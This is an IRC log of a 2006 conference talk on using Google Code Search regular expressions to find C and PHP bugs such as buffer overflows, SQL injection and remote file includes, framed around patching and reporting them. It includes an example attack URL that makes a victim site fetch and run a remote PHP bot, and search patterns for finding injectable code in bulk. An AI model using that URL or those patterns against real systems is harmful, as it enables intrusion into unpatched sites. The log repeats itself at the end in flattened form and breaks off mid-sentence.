Umeet :: Program


`tricks. Slides: http://monkey.org/~jose/presentations/umeet06/slides/'`
`ismak_hom`	`vamos a comenzar con la segunda charla de la tarde/noche`
`ismak_hom`	`we are going to start with the second speaker`
`ismak_hom`	`Jose Nazario. Stupid google tricks`

`ismak_hom`	`Jose Nazario es consultor de seguridad senior en la empresa de usa Arbor`
`Networks`
`ismak_hom`	`Dr. Jose Nazario is a Senior Security Engineer within Arbor Networks'`
`Arbor Security Engineering`
`ismak_hom`	`& Response Team (ASERT).`

`ismak_hom`	`Dr. Nazario's research interests include BotNets and worms, data mining,`
`DDoS, source code analysis tools`
`ismak_hom`	`Jose esta muy interesado en el estudio y análisis de las redes de bots,`
`malware, data mining, y herramientas de análisis de codigo...`

`ismak_hom`	`Jose es posedor de un phd en bioquimica`
`ismak_hom`	`por la universidad de Case Western Reserve en 2002`


`ismak_hom`	`He is the author of the books "Defense and Detection Strategies against`
`Internet Worms" and`
`ismak_hom`	`"Secure Architectures with OpenBSD."`
`ismak_hom`	`Es el autor de varios libros de seguridad "Defense and Detection`
`Strategies against Internet Worms" y "Secure Architectures with OpenBSD."`
`ismak_hom`	`Dr. Nazario regularly speaks at conferences worldwide, with past`
`presentations at CanSecWest,`
`ismak_hom`	`PacSec, Blackhat, and NANOG.`
`ismak_hom`	`He also maintains WormBlog.com, a site devoted to studying worm`
`detection and defense research.`
`ismak_hom`	`Jose Nazario es ponente habitual en las conferencias de seguridad mas`
`importantes del mundo`
`ismak_hom`	`Con presencia en CanSecWest, PacSec, Blackhat, and NANOG`
`ismak_hom`	`y mantiene el blog: www.wormblog.com`
`ismak_hom`	`dedicado a la investigacion en la detección y defensa contra worms`
`ismak_hom`	`You can view the slides talk: http://monkey.org/~jose/presentations/umeet0`
`6/slides/`
`ismak_hom`	`Sin mas dilacion, os dejo con un gran experto en seguridad y un gran`
`amgigo, Jose. it's your time...`
`ismak_hom`	`Las preguntas se realizaran en el canal #qc`
`jose_n`	`gracias ismak_hom!`
`jose_n`	`hola a todos, buenas y gracias. hello everyone, i hope all of you are`
`jose_n`	`having a good day, and thank you for coming. my name is jose nazario and`
`jose_n`	`i'll be talking about google codesearch.`
`jose_n`
`jose_n`	`the talk will be in English`
`jose_n`
`jose_n`	`i'll be referring to my slides here: http://monkey.org/~jose/presentations/umeet06`
`/slides/`
`jose_n`
`jose_n`	`[slide 1] today's talk is intended to introduce you to google codesearch`
`jose_n`	`and ways that you can use it to find all sorts of programming bugs in`
`jose_n`	`dozens of software applications at once.`

`jose_n`	`i'll provide you with a one or`
`jose_n`	`two slide introduction to google codesearch.`
`jose_n`
`jose_n`	`also, since i promised google tricks (plural), i'll give you guys one`
`jose_n`	`more that i don't see used often: the dot operator. i found this`
`jose_n`	`accidentally when i was looking for an RPM package once.`
`jose_n`	`i found that`
`jose_n`	`"package.rpm" brought up "package, rpm" also. turns out that google`
`jose_n`	`seems to drop punctuation from the index and from your search terms, and`
`jose_n`	`replaces it with the generic "stuff we don't index" filler.`
`jose_n`	`so, you can`
`jose_n`	`now join your words in a phrase with the dot and match all sorts of`
`jose_n`	`combinations. compare searching for "foo bar" against "foo.bar" (with`
`jose_n`	`the first still quoted).`
`jose_n`	`the quotes enforce a space, but the dot allows`
`jose_n`	`you to have commas or other non-word stuff in there. kind of neat, and`

`jose_n`	`like i said, i don't see people using this often.`
`jose_n`	`[slide 2] i am not employed by google and i do not represent them. keep this in`
`jose_n`	`mind when you're watching this talk. this is not an official google`
`jose_n`	`talk.`
`jose_n`	`[slide 3] ok, google codesearch. as i recall it was launched by google's`
`jose_n`	`"labs" division (where new products come from) in early Octobers, 2006,`
`jose_n`	`so just a couple of months ago. codesearch is different than google's`
`jose_n`	`normal search in that it focuses on searching source code on the web.`
`jose_n`	`this includes C, PHP, C++, Java, and of course scripting languages like`
`jose_n`	`python, ruby, and perl. like google, it supports search operators, which`
`jose_n`	`let you control the search inputs. unlike google's basic search,`
`jose_n`	`however, it supports regular expressions. this means we can really dig`
`jose_n`	`into code flexibly.`
`jose_n`	`before, if you wanted to search on google for some`
`jose_n`	`source code you had to use the terms and "lang:c" in your input. now,`
`jose_n`	`google codesearch lets you apply patterns to find things more flexibly.`
`jose_n`
`jose_n`	`in a nutshell, google's indexed millions of source code files. they've`
`jose_n`	`downloaded it so you don't have to! great if you have ever been curious`
`jose_n`	`about searching for bugs in code, like we'll be doing. far easier than`
`jose_n`	`downloading thousands of source packages, storing them, and grepping`
`jose_n`	`through them.`
`jose_n`
`jose_n`	`google codesearch isn't the first code search engine. koders.com has`
`jose_n`	`been around for a while and they have a neat engine. it doesn't appear`
`jose_n`	`to support regular expressions, but it does have many other neat`
`jose_n`	`features.`
`jose_n`	`for example, i recently used koders.com to find some BSD licensed code to`
`jose_n`	`include in a tool that i ported from BSD to Linux. these search engines`
`jose_n`	`are great for that sort of thing.`
`jose_n`
`jose_n`	`[slide 4] ok, it's a beta of a google product so it'll have some bugs,`
`jose_n`	`that's to be expected. it tends to forget that you want a case sensitive`
`jose_n`	`search once you crawl past the first page, for example.`
`jose_n`	`also, it's`
`jose_n`	`regular expression engine is only applying the terms to a single line at`
`jose_n`	`a time, so you can't make use of back references (a power regex facility`
`jose_n`	`that let you build up complex queries on the fly).`
`jose_n`	`also, google`
`jose_n`	`codesearch doesn't always know what the newest source archive is, so`
`jose_n`	`sometimes you'll find a great bug and it will have been fixed in a a`
`jose_n`	`newer version.`
`jose_n`
`jose_n`	`all in all, though, not a bad tool to have at your disposal, as you'll`
`jose_n`	`see.`
`jose_n`
`jose_n`	`[slide 5] OK, so basics about regular expressions in case you haven't`
`jose_n`	`seen or used them before. regexes are basically a way of expressing text`
`jose_n`	`patterns to match specific characters or ranges of characters.`

`reset by peer)`
`jose_n`	`for`
`jose_n`	`example, to match any character you can use the . characters; the *`
`jose_n`	`means 0 or more characters, and + means one or more of the preceded`
`jose_n`	`characters. these can be mixed and matched, of course, such as .+ to`
`jose_n`	`mean one or more characters.`

`jose_n`	`to specify a range, use [x-y] to denote a`
`jose_n`	`range of characters, such as [A-Za-z] to match all alphabetical`
`jose_n`	`characters.`
`jose_n`
`jose_n`	`if you wanted to negate something, use the [^x] character. sadly, this`
`jose_n`	`only works on a single character at a time, so [^a-z] wont work. :-/ you`
`jose_n`	`have to escape characters that have special meaning, like (, ) and .`
`jose_n`	`using the backslash: \. to match a ., or \( to match a (.`
`jose_n`
`jose_n`	`see the URL in the page to learn more about regex formats. they're not`
`jose_n`	`that hard to learn, but very complex ones require some practice. because`
`jose_n`	`they're used in so many things in UN*X-land, you should become familiar`
`jose_n`	`with them.`
`jose_n`	`http://www.evolt.org/article/rating/20/22700/`
`jose_n`
`jose_n`	`[slide 6] just like normal google searches, you can use special`
`jose_n`	`operators to restrict your search. you can focus on the C language, for`
`jose_n`	`example, using "lang:c" in your search.`
`jose_n`	`you can also negate these, or`
`jose_n`	`chain them together:`
`jose_n`	`foobar lang:(c\|c++) -lang:php`
`jose_n`
`jose_n`	`you can also restrict by license, using the license: operator. ie to get`
`jose_n`	`only GPL files, use license:gpl. google codesearch infers the license`
`jose_n`	`from various files in the source repository.`
`jose_n`
`jose_n`	`you can, of course, restrict by filename or by package, using the`
`jose_n`	`operators file: and package:. this basically applies these arguments to`
`jose_n`	`the result set. for example, to match only C header files, using`
`jose_n`	`file:\.h$ (anything ending in .h).`
`jose_n`	`you may want o focus on a particular`
`jose_n`	`package, focusing on only a website or a file format, using the package`
`jose_n`	`operator. this one is a lot like "inurl" in a standard google query.`
`jose_n`
`jose_n`	`we'll be using some of these these operators in our searches to keep our`
`jose_n`	`results focused.`
`jose_n`
`jose_n`	`a couple of facts about google codesearch, one known and one not so`
`jose_n`	`well known. if your result set has more than one hit, you can use "n" to`
`jose_n`	`browse to the next result (kind of like "n" in a vi search). very handy!`
`jose_n`	`google codesearch highlights the results for you, also very nice.`
`jose_n`
`jose_n`	`secondly, google codesearch seems to include some non-software archives`
`jose_n`	`in its index. i found this by accident while searching for my name!`
`jose_n`	`basically, what i found was someone's Linux home directory backup.`

`jose_n`	`because they had some example code on a website that i wrote in their`

`jose_n`	`mozilla cache, google marked it a sa code archive to include. voila, i`
`jose_n`	`found their backup. quite interesting, to say the least. i'm sure other`
`jose_n`	`interesting backups are out there, too.`
`jose_n`
`jose_n`	`[slide 8] screen shot showing my results that found a backup in google`
`jose_n`	`codesearch. this is a backup of someone's home directory. my name`
`jose_n`	`appeared in their mozilla cache.`

`jose_n`
`jose_n`	`[slide 9] in a nutshell, this is our strategy for finding bugs. it's`
`jose_n`	`based on the basic openbsd philosophy: find a bug, fix it, generalize`
`jose_n`	`the form, find it everywhere, fix it everywhere.`
`jose_n`	`for example, when you`
`jose_n`	`find a typo, it's usually not the only one of its kind. fix it, find the`
`jose_n`	`others, and fix them.`

`jose_n`
`jose_n`	`what we're going to do here is to to identify a bug or some bad`
`jose_n`	`programming practice, and generalize that form into a regular`
`jose_n`	`expression. we'll then apply that regular expression to google`
`jose_n`	`codesearch and then examine the results.`
`jose_n`
`jose_n`	`i've found that a well formed regular expression yields about 10% or`
`jose_n`	`more in bugs from the search results.`

`jose_n`
`jose_n`	`what you should do when you apply this is to ensure that the bug still`
`jose_n`	`exists in the latest version of the code. i often have to visit the`
`jose_n`	`project website, look for the latest released version and possibly the`
`jose_n`	`source repository (SVN or CVS) and see if it's still there.`
`jose_n`	`if the bug is still there generate a patch and file a bug. i did this in October for a`
`jose_n`	`variety of projects, including OpenAFS, MPlayer, MySQL, and many others.`
`jose_n`	`i got a bunch of bugs fixed over a single cup of coffee, that's how easy`
`jose_n`	`this can be.`

`jose_n`	`[slide 10] i'll show you four basic bugs here and how we find them in google`
`jose_n`	`codesearch. you'll learn the regular expressions for some common C logic`
`jose_n`	`bugs (at least two of which have real security bug implications),`
`jose_n`	`some C`
`jose_n`	`string handling bugs, and two types of common PHP bugs: SQL injection`
`jose_n`	`and file include bugs.`

`jose_n`
`jose_n`	`[slide 11] the first set of bugs we'll find in google codesearch are`
`jose_n`	`some logic bugs. specifically, there's a logic bug in C that people`
`jose_n`	`encounter when they make the typo of "&" vs "&&". & is a bitwise AND,`
`jose_n`	`and && is a logical AND.`
`jose_n`	`specifically, you use "&" to test for the`
`jose_n`	`presence of a bit in a variable, and "&&" to test that two conditions`
`jose_n`	`are two (a logical AND).`
`jose_n`	`very often you'll see people building up a set of flags in an integer,`
`jose_n`	`mixing the flags together in a variable "flags".`
`jose_n`	`they'll then use`
`jose_n`	`logical ANDs to look for specific flags being set, such as FLAG_PROCESS`
`jose_n`	`or FLAG_OLD_INPUT.`
`jose_n`	`the test is if (flags & FLAG_MINE) { /* do some stuff */ }`
`jose_n`	`the complement of that is to look for two things being true, such as this:`
`jose_n`	`if (is_set && process) { /* do more stuff */ }`
`jose_n`	`only if "is_set" and "process" are not 0 or not NULL will that be true.`
`jose_n`
`jose_n`	`a common typo to make is to see && when someone meant &.`

`jose_n`
`jose_n`	`this is also present in the bitwise vs logical OR ("\|" vs "\|\|") and in`
`jose_n`	`the comparison vs assignment operators ("==" vs "=").`
`jose_n`
`jose_n`	`[slide 12] ok, this is what we'll search for: flags\ &&\ [A-Za-z_]*`
`jose_n`	`this will look for the line where someone has "flags" (a common variable`
`jose_n`	`name) and a logical AND of a variable in upper case letters (usually`
`jose_n`	`used for a macro).`
`jose_n`	`this is a common typo in C code. what's funny is that`
`jose_n`	`the compiler treats this as reasonable code, so you wont get a warning.`
`jose_n`	`however, if "flags" is not 0 or NULL and the macro is defines as`
`jose_n`	`not 0 or NULL, this condition will always be true. this is bad,`
`jose_n`	`obviously, and not what the programmer intended.`
`jose_n`	`(err if the macro is DEFINED as not 0 ...)`
`jose_n`
`jose_n`	`so, let's search google codesearch for this ...`
`jose_n`
`jose_n`	`[slide 13] here is an example bug in neon, found and fixed by one of our`
`jose_n`	`interns. the blue highlights the for, and we can infer what the`
`jose_n`	`programmer meant by reading the code.`



`jose_n`	`what they meant to do was to see`
`jose_n`	`if the session protocol flags has the AUTH_FLAG_VERIFY_NON40x bit set,`
`jose_n`	`but in this case that part of the test will always evaluate to true.`
`jose_n`	`if the other parts of the condition are true, then we'll see a mistaken`
`jose_n`	`"verify" part get hit.`

`jose_n`
`jose_n`	`neon fixed this bug after jon (our intern) filed a report. this bug`
`jose_n`	`prevents the neon DAV component from evaluating the session properly. it`
`jose_n`	`doesn't turn up often, but it is a real bug.`
`jose_n`
`jose_n`	`a coworker, aaron campbell, found a doozy of a bug in openssl`
`jose_n`	`certificate checking this way. he filed a bug report and got it fixed in`
`jose_n`	`under an hour.`
`jose_n`	`i found several bugs in MySQL, Mplayer, OpenAFS and other`
`jose_n`	`projects like this, and even wound up finding a security bug in OS X`
`jose_n`	`using this expression.`
`jose_n`
`jose_n`	`[slide 14] let's look for an old school C bug. this was common about 10`
`jose_n`	`years ago and has been whittled away quickly, but you'll still find it`
`jose_n`	`from time to time.`
`jose_n`	`basically what we'll be looking for is the programmer`
`jose_n`	`copying user-supplied into into a buffer without any sanity or length`
`jose_n`	`checking.`
`jose_n`	`(err user-supplied DAT into a buffer ...)`
`jose_n`	`in this case, we'll look for someone using strcat() (string`
`jose_n`	`concatenation or joining) from a user supplied argument (argv[x]). this`
`jose_n`	`is possibly a reliability bug, and even a security bug in some cases.`
`jose_n`
`jose_n`	`this isn't so common anymore, because it's so easy to find, yet people`
`jose_n`	`still do it.`
`jose_n`
`jose_n`	`[slide 15] so, this is what we'll search for: strcat\ \(\ .\ ,\ *argv lang:c`
`jose_n`	`this looks for strcat followed by 0 or more spaces, then an open`
`jose_n`	`parentheses, then any characters, then a comma, and then argv (with`
`jose_n`	`optional spaces, "\ *", in there).`
`jose_n`	`oh, and we'll restrict ourselves to`
`jose_n`	`the C language.`
`jose_n`
`jose_n`	`the problem here is that the destination buffer may not be large enough`
`jose_n`	`to hold the user-supplied input.`

`jose_n`	`in fact, strcat() and strcpy() don't do`
`jose_n`	`any length checking, they happily shove all the data from the source`
`jose_n`	`into the dest and if it overflows, so be it. however, the user can craft`
`jose_n`	`the input and commit a basic buffer overflow.`
`jose_n`
`jose_n`	`[slide 16] ok, it's 2006, and not surprisingly these are uncommon now.`
`jose_n`	`thankfully, too!`
`jose_n`	`this is a bug i foun while searching for this, we can`
`jose_n`	`see that the buffer "command" gets built as a 10240 byte (10k) buffer,`
`jose_n`	`and for every argument supplied, the command is grown by the next`
`jose_n`	`argument and a space.`
`jose_n`	`we may be able to overflow this, i'm not sure the`
`jose_n`	`shell would allow it, but you get the idea. here we have two idioms`
`jose_n`	`mixed that are dangerous: a user-controlled loop (argc controls how many`
`jose_n`	`times it executes) and user supplied input going into a static buffer`
`jose_n`	`unchecked (strcpy() from argv).`
`jose_n`
`jose_n`	`bad code, and revealed by google codesearch.`
`jose_n`
`jose_n`	`[slide 17] here are some other basic C bugs you can look for. you can generalize`
`jose_n`	`the argc controlled loop pretry easily by looking for while loops and for`
`jose_n`	`loops including argc.`
`jose_n`	`(argc is the number of arguments passed on the command line, argv is a list of`
`arguments given on the command line. both are user controlled.)`
`jose_n`	`other bug classes you can easily look for are`
`jose_n`	`format string bugs, looking for unformatted arguments to common`
`jose_n`	`functions like printf(), syslog() and the like.`
`jose_n`
`jose_n`	`you can also look for overflows in the sprintf() and related functions.`
`jose_n`	`again, look for a user-controlled input.`
`jose_n`
`jose_n`	`here, because google codesearch isn't allowing for backrefs, you have to`
`jose_n`	`weed these out manually. it's pretty tough to do, and =these sorts of`
`jose_n`	`bugs are not very common anymore, either.`

`jose_n`	`with backrefs, we could easily`
`jose_n`	`"taint" user supplied variable data and follow it through the code.`
`jose_n`
`jose_n`	`[slide 18] so, let's move on to the first of two sets of PHP bug`
`jose_n`	`classes. the first is SQL injection attacks and vulnerabilities. SQL`
`jose_n`	`injection bugs are very common and easily created.`
`jose_n`	`basically, they come`
`jose_n`	`from scenarios where developers build up SQL commands using unescaped,`
`jose_n`	`unscrubbed user-supplied input.`
`jose_n`
`jose_n`	`14:54 < MJesus:#qc> is McAffe SiteAdvisor based in google search?`
`jose_n`	`i don't think so, i think they have their own toolbar to have their userbase inform`
`them of bad sites (malware, phishing, etc)`
`jose_n`	`google has their own "safe browsing" toolbar, in IE7 now, too! (and built into`
`FFox 2.0)`
`jose_n`
`jose_n`	`there's a link here to show you how to exploit SQL injection bugs. i`
`jose_n`	`wont get into that here, but suffice it to say it's trivial.`
`jose_n`	`http://www.securiteam.com/securityreviews/5DP0N1P76E.html`
`jose_n`
`jose_n`	`[slide 19] so, this is what we'll search for:`
`jose_n`	`SELECT\ [^%]\ $_GET lang:php`

`jose_n`	`this looks for SELECT being followed by a GET parameter reference`
`jose_n`	`without any formatting going on. there's no escaping in many of these`
`jose_n`	`cases, as well.`
`jose_n`
`jose_n`	`the results? about 2000 hits on google codesearch. now that's a lot of bugs.`
`jose_n`
`jose_n`	`14:58 < mefistofe:#qc> jose_n: so if we just want to search for code in a`
`jose_n`	`specific software, say mplayer, we just add "mplayer" to the search line?`
`jose_n`	`mefistofe: yes, or package:mplayer`
`jose_n`
`jose_n`	`[slide 20] here's an example, and (so it would fit on the screen) this`
`jose_n`	`one isn't all that high profile.`
`jose_n`	`(some of the other projects that had`
`jose_n`	`this are blogging software, CMS software, etc, all sorts of web apps).`
`jose_n`	`here the query string is built from a raw, unprocessed user-supplied`
`jose_n`	`variable:`
`jose_n`	`$query = "SELECT * FROM item WHERE ID == '" . $_GET['id'] ."'";`
`jose_n`
`jose_n`	`"query" references "id" from the user without any stripping of special`
`jose_n`	`SQL characters. there's nothing stopping you from closing that query and`
`jose_n`	`creating a new one (ie to call out stored procedures to get shell`
`jose_n`	`access), or modifying it to show all items (ie where id = 1 OR id > 0).`
`jose_n`
`jose_n`	`this is the basic form of an SQL injection bug, and easy to avoid. lots`
`jose_n`	`of PHP books show you how to avoid this, and this is sadly too common in`
`jose_n`	`PHP code.`
`jose_n`
`jose_n`	`[slide 21] while i showed you SELECT for a GET parameter, you will also`
`jose_n`	`want to look for other SQL commands: INSERT, UPDATE, DELETE, and you'll`
`jose_n`	`also want to look for this in POST variables, too (ie $_POST['id']).`
`jose_n`
`jose_n`	`when you expand this out, lots more bugs, all very similar, appear. :)`
`jose_n`
`jose_n`	`[slide 22] the second type of PHP bug class here is due to remote file`
`jose_n`	`includes. PHP has the "include()" directive which lets you include a`
`jose_n`	`local file. however, PHP also lets you include remote files from another`
`jose_n`	`web server.`


`jose_n`
`jose_n`	`here the exploit is to grab a malicious PHP file off of a website you`
`jose_n`	`control. the exploit then has the argument to the variable include a URL.`


`jose_n`	`i recently found a bot that can be used in these attacks, called`
`jose_n`	`"pBot". it is designed to be included in PHP remote file include attacks`
`jose_n`	`and works quite well.`

`jose_n`
`jose_n`	`[slide 23] so, what should you search for? just like before, look for`
`jose_n`	`the function using an unscrubbed argument:`
`jose_n`	`include\ \(\ \$_GET lang:php`


`jose_n`	`this looks for the PHP include function with an argument from the GET`
`jose_n`	`parameter, and only in PHP files. very straight forward, here the`
`jose_n`	`attacker can control the input directly.`
`jose_n`
`jose_n`	`[slide 24] some real results found in google codesearch: include calls`
`jose_n`	`out to "page", a user supplied variable, and appends .php. what's the`
`jose_n`	`attack look like?`
`jose_n`	`15:09 < mefistofe:#qc> jose_n: how to avoid this bug?`
`jose_n`	`in the PHP docs for include, here: http://us2.php.net/include/`
`jose_n`	`in the comments they talk about enforcing what you expect, a local file or a`
`specific URL path`
`jose_n`
`jose_n`	`suppose i have a malicious website and a malicious PHP file, like pBot`
`jose_n`	`:). i store it as`
`jose_n`	`http://monkey.org/~jose/php/pBot.php`
`jose_n`	`so, i attack an installation of this software like this:`
`jose_n`	`http://victim.com/admin.php?file=http://monkey.org/~jose/php/pBot`
`jose_n`	`the application, and the web server, will now include and run my PHP`
`jose_n`	`code. voila, a simple attack, and we found this in google codesearch.`
`jose_n`
`jose_n`	`[slide 25] i showed you how to use the GET variable, and you should also`
`jose_n`	`look for PHP using untrustworthy input from cookies, POST variables, and`
`jose_n`	`anything else the user can supply, such as hostnames.`
`jose_n`	`also, you can find`
`jose_n`	`cross site scripting bugs this way, too, also looking for user-supplied`
`jose_n`	`input being used without any treatment.`
`jose_n`
`jose_n`	`the PHP docs have excellent discussions on secure programming idioms, by`
`jose_n`	`the way, so if you code in PHP, make sure you follow those!`
`jose_n`
`jose_n`	`[slide 26] ok, so i showed you four basic bug classes and how to find`
`jose_n`	`them in google codesearch. there are some obvious limits to using google`
`jose_n`	`codesearch for your code audits.`

`jose_n`
`jose_n`	`first, you still have to read the code. you still have to follow the`
`jose_n`	`logic and see if it's a real bug, and you still have to understand the`
`jose_n`	`code and any implications it has.`

`jose_n`
`jose_n`	`15:15 < mefistofe:#qc> jose_n: and only Open Source apps :P`
`jose_n`	`not always true :) some commercial software is based on OSS code, so`
`sometimes these bugs affect commercial code`
`jose_n`
`jose_n`	`don't forget that if you think you found a bug, you still have to make sure it's the`
`latest version of the code before`
`jose_n`	`you fire off a bug report.`
`jose_n`
`jose_n`	`you have to tune your regular expressions to keep the false positives`
`jose_n`	`down. compare searches for "strcat" vs strcat\ \(\ .\ ,\ *argv. the`
`jose_n`	`former will find lots of basic libc definitions of strcat, the later`
`jose_n`	`will find real uses of it.`
`jose_n`
`jose_n`	`15:17 < mefistofe:#qc> jose_n: what if we are not 100% sure it's a bug... how`
`jose_n`	`to proof it? ... we could try exploiting the bug but wouldnt that be illegal?`

`jose_n`	`well, sine you're working with OSS software, you can run it locally. if it's`
`commercial software, you can buy it (or borrow it) and test it.`
`jose_n`	`obviously do NOT go exploit someone else's machine to test this!`
`jose_n`
`jose_n`	`google codesearch is basically grep on steroids (in terms of speed and`
`jose_n`	`quantity of input, but it is missing backrefs), and it will only find`
`jose_n`	`single line bugs. you wont find many of the truly clever bugs this way.`
`jose_n`
`jose_n`	`however, i found at least two security bugs like this in just one`
`jose_n`	`morning, over one cup of coffee: one is OS X (CVE-2006-4410)`
`jose_n`
`jose_n`	`and one in`
`jose_n`	`another project i wont name here because the bug (and security hole) are`
`jose_n`	`still active. coworkers aaron and jon found two more security bugs in a`
`jose_n`	`matter of minutes.`

`jose_n`
`jose_n`	`[slide 27] to sum it up, google codesearch is pretty nifty, and a lot`
`jose_n`	`easier than trying to download all sorts of code and screening it`
`jose_n`	`locally. believe me, i've done that!`

`jose_n`
`jose_n`	`however, it doesn't support the google web service API yet, and it`
`jose_n`	`doesn't appear to be included in any IDE tools yet (like Koders is). i`
`jose_n`	`imagine this will happen in time.`
`jose_n`
`jose_n`	`[slide 28] some more links for you to read. the first is from a`
`jose_n`	`coworker, aaron, and he gives some searches you can look at and explains`

jose.log tricks. Slides: http://monkey.org/~jose/presentations/umeet06/slides/' ismak_hom vamos a comenzar con la segunda charla de la tarde/noche ismak_hom we are going to start with the second speaker ismak_hom Jose Nazario. Stupid google tricks ismak_hom Jose Nazario es consultor de seguridad senior en la empresa de usa Arbor Networks ismak_hom Dr. Jose Nazario is a Senior Security Engineer within Arbor Networks' Arbor Security Engineering ismak_hom & Response Team (ASERT). ismak_hom Dr. Nazario's research interests include BotNets and worms, data mining, DDoS, source code analysis tools ismak_hom Jose esta muy interesado en el estudio y análisis de las redes de bots, malware, data mining, y herramientas de análisis de codigo... ismak_hom Jose es posedor de un phd en bioquimica ismak_hom por la universidad de Case Western Reserve en 2002 ismak_hom He is the author of the books "Defense and Detection Strategies against Internet Worms" and ismak_hom "Secure Architectures with OpenBSD." ismak_hom Es el autor de varios libros de seguridad "Defense and Detection Strategies against Internet Worms" y "Secure Architectures with OpenBSD." ismak_hom Dr. Nazario regularly speaks at conferences worldwide, with past presentations at CanSecWest, ismak_hom PacSec, Blackhat, and NANOG. ismak_hom He also maintains WormBlog.com, a site devoted to studying worm detection and defense research. ismak_hom Jose Nazario es ponente habitual en las conferencias de seguridad mas importantes del mundo ismak_hom Con presencia en CanSecWest, PacSec, Blackhat, and NANOG ismak_hom y mantiene el blog: www.wormblog.com ismak_hom dedicado a la investigacion en la detección y defensa contra worms ismak_hom You can view the slides talk: http://monkey.org/~jose/presentations/umeet0 6/slides/ ismak_hom Sin mas dilacion, os dejo con un gran experto en seguridad y un gran amgigo, Jose. it's your time... ismak_hom Las preguntas se realizaran en el canal #qc jose_n gracias ismak_hom! jose_n hola a todos, buenas y gracias. hello everyone, i hope all of you are jose_n having a good day, and thank you for coming. my name is jose nazario and jose_n i'll be talking about google codesearch. jose_n jose_n the talk will be in English jose_n jose_n i'll be referring to my slides here: http://monkey.org/~jose/presentations/umeet06 /slides/ jose_n jose_n [slide 1] today's talk is intended to introduce you to google codesearch jose_n and ways that you can use it to find all sorts of programming bugs in jose_n dozens of software applications at once. jose_n i'll provide you with a one or jose_n two slide introduction to google codesearch. jose_n jose_n also, since i promised google tricks (plural), i'll give you guys one jose_n more that i don't see used often: the dot operator. i found this jose_n accidentally when i was looking for an RPM package once. jose_n i found that jose_n "package.rpm" brought up "package, rpm" also. turns out that google jose_n seems to drop punctuation from the index and from your search terms, and jose_n replaces it with the generic "stuff we don't index" filler. jose_n so, you can jose_n now join your words in a phrase with the dot and match all sorts of jose_n combinations. compare searching for "foo bar" against "foo.bar" (with jose_n the first still quoted). jose_n the quotes enforce a space, but the dot allows jose_n you to have commas or other non-word stuff in there. kind of neat, and jose_n like i said, i don't see people using this often. jose_n [slide 2] i am not employed by google and i do not represent them. keep this in jose_n mind when you're watching this talk. this is not an official google jose_n talk. jose_n [slide 3] ok, google codesearch. as i recall it was launched by google's jose_n "labs" division (where new products come from) in early Octobers, 2006, jose_n so just a couple of months ago. codesearch is different than google's jose_n normal search in that it focuses on searching source code on the web. jose_n this includes C, PHP, C++, Java, and of course scripting languages like jose_n python, ruby, and perl. like google, it supports search operators, which jose_n let you control the search inputs. unlike google's basic search, jose_n however, it supports regular expressions. this means we can really dig jose_n into code flexibly. jose_n before, if you wanted to search on google for some jose_n source code you had to use the terms and "lang:c" in your input. now, jose_n google codesearch lets you apply patterns to find things more flexibly. jose_n jose_n in a nutshell, google's indexed millions of source code files. they've jose_n downloaded it so you don't have to! great if you have ever been curious jose_n about searching for bugs in code, like we'll be doing. far easier than jose_n downloading thousands of source packages, storing them, and grepping jose_n through them. jose_n jose_n google codesearch isn't the first code search engine. koders.com has jose_n been around for a while and they have a neat engine. it doesn't appear jose_n to support regular expressions, but it does have many other neat jose_n features. jose_n for example, i recently used koders.com to find some BSD licensed code to jose_n include in a tool that i ported from BSD to Linux. these search engines jose_n are great for that sort of thing. jose_n jose_n [slide 4] ok, it's a beta of a google product so it'll have some bugs, jose_n that's to be expected. it tends to forget that you want a case sensitive jose_n search once you crawl past the first page, for example. jose_n also, it's jose_n regular expression engine is only applying the terms to a single line at jose_n a time, so you can't make use of back references (a power regex facility jose_n that let you build up complex queries on the fly). jose_n also, google jose_n codesearch doesn't always know what the newest source archive is, so jose_n sometimes you'll find a great bug and it will have been fixed in a a jose_n newer version. jose_n jose_n all in all, though, not a bad tool to have at your disposal, as you'll jose_n see. jose_n jose_n [slide 5] OK, so basics about regular expressions in case you haven't jose_n seen or used them before. regexes are basically a way of expressing text jose_n patterns to match specific characters or ranges of characters. reset by peer) jose_n for jose_n example, to match any character you can use the . characters; the * jose_n means 0 or more characters, and + means one or more of the preceded jose_n characters. these can be mixed and matched, of course, such as .+ to jose_n mean one or more characters. jose_n to specify a range, use [x-y] to denote a jose_n range of characters, such as [A-Za-z] to match all alphabetical jose_n characters. jose_n jose_n if you wanted to negate something, use the [^x] character. sadly, this jose_n only works on a single character at a time, so [^a-z] wont work. :-/ you jose_n have to escape characters that have special meaning, like (, ) and . jose_n using the backslash: \. to match a ., or \( to match a (. jose_n jose_n see the URL in the page to learn more about regex formats. they're not jose_n that hard to learn, but very complex ones require some practice. because jose_n they're used in so many things in UN*X-land, you should become familiar jose_n with them. jose_n http://www.evolt.org/article/rating/20/22700/ jose_n jose_n [slide 6] just like normal google searches, you can use special jose_n operators to restrict your search. you can focus on the C language, for jose_n example, using "lang:c" in your search. jose_n you can also negate these, or jose_n chain them together: jose_n foobar lang:(c|c++) -lang:php jose_n jose_n you can also restrict by license, using the license: operator. ie to get jose_n only GPL files, use license:gpl. google codesearch infers the license jose_n from various files in the source repository. jose_n jose_n you can, of course, restrict by filename or by package, using the jose_n operators file: and package:. this basically applies these arguments to jose_n the result set. for example, to match only C header files, using jose_n file:\.h$ (anything ending in .h). jose_n you may want o focus on a particular jose_n package, focusing on only a website or a file format, using the package jose_n operator. this one is a lot like "inurl" in a standard google query. jose_n jose_n we'll be using some of these these operators in our searches to keep our jose_n results focused. jose_n jose_n a couple of facts about google codesearch, one known and one not so jose_n well known. if your result set has more than one hit, you can use "n" to jose_n browse to the next result (kind of like "n" in a vi search). very handy! jose_n google codesearch highlights the results for you, also very nice. jose_n jose_n secondly, google codesearch seems to include some non-software archives jose_n in its index. i found this by accident while searching for my name! jose_n basically, what i found was someone's Linux home directory backup. jose_n because they had some example code on a website that i wrote in their jose_n mozilla cache, google marked it a sa code archive to include. voila, i jose_n found their backup. quite interesting, to say the least. i'm sure other jose_n interesting backups are out there, too. jose_n jose_n [slide 8] screen shot showing my results that found a backup in google jose_n codesearch. this is a backup of someone's home directory. my name jose_n appeared in their mozilla cache. jose_n jose_n [slide 9] in a nutshell, this is our strategy for finding bugs. it's jose_n based on the basic openbsd philosophy: find a bug, fix it, generalize jose_n the form, find it everywhere, fix it everywhere. jose_n for example, when you jose_n find a typo, it's usually not the only one of its kind. fix it, find the jose_n others, and fix them. jose_n jose_n what we're going to do here is to to identify a bug or some bad jose_n programming practice, and generalize that form into a regular jose_n expression. we'll then apply that regular expression to google jose_n codesearch and then examine the results. jose_n jose_n i've found that a well formed regular expression yields about 10% or jose_n more in 